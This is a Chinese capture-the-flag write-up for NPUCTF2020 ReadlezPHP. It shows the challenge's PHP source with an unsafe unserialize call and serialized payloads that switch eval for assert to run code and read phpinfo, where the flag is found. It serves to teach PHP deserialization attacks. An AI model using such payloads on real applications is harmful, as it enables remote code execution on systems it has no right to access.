当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 09:15:00 【Her&mes】
WP
如有不对,还请指正
进入靶机环境,走流程:
1.看源码
2.手动尝试访问几个常见的网页名,
3.用dirsearch扫网站。
直接在源码中发现一个链接:
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
访问/time.php?source
,这下进入题目大门了,白盒审计,看起来是一道比较简单的反序列化
白盒代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
尝试构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
然后就没有然后了,页面回显“500,无法处理请求”,我无了,有过滤,那换代码,构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
和之前一样,无法处理请求,可是var_dump()一般来讲应该不会被过滤,可能是eval被过滤,换成assert试试
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
成功,页面回显int(10) 2021-04-07 12:39:47
把var_dump(10)换成phpinfo(),(记得改大小),很好,phpinfo没有被过滤,看disable_functions栏,过滤了system,exec,shell_exec
再尝试搜索flag,ohhhhhhhhhh,还真有(这要是空过去了…论好习惯的重要性)。
PS:assert从7.2开始不再支持字符串=>不能执行PHP代码了(本题目在BUU上是PHP/7.0.33)
边栏推荐
- Summary of numpy installation problems
- Codeforces Round #753 (Div. 3)
- MTCNN人脸检测
- What does usart1 mean
- 软件测试与质量学习笔记3--白盒测试
- Picture coloring project - deoldify
- ES6 let and const commands
- How to configure flymcu (STM32 serial port download software) is shown in super detail
- Why can't STM32 download the program
- 图片上色项目 —— Deoldify
猜你喜欢
Asp access Shaoxing tourism graduation design website
QT creator runs the Valgrind tool on external applications
Copie maître - esclave MySQL, séparation lecture - écriture
Dotnet replaces asp Net core's underlying communication is the IPC Library of named pipes
[ahoi2009]chess Chinese chess - combination number optimization shape pressure DP
Basic use of redis
自动机器学习框架介绍与使用(flaml、h2o)
Rhcsa certification exam exercise (configured on the first host)
PHP - whether the setting error displays -php xxx When PHP executes, there is no code exception prompt
MySQL and C language connection (vs2019 version)
随机推荐
L2-006 树的遍历 (25 分)
项目实战-后台员工信息管理(增删改查登录与退出)
Error connecting to MySQL database: 2059 - authentication plugin 'caching_ sha2_ The solution of 'password'
Install MySQL for Ubuntu 20.04
Install mongdb tutorial and redis tutorial under Windows
解决安装Failed building wheel for pillow
Principes JDBC
AcWing 1298.曹冲养猪 题解
數據庫高級學習筆記--SQL語句
图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
QT creator shape
Solve the problem of installing failed building wheel for pilot
01 project demand analysis (ordering system)
Reading BMP file with C language
Windows下安装MongDB教程、Redis教程
[蓝桥杯2017初赛]包子凑数
Request object and response object analysis
ES6 let and const commands
Ansible实战系列一 _ 入门
ImportError: libmysqlclient. so. 20: Cannot open shared object file: no such file or directory solution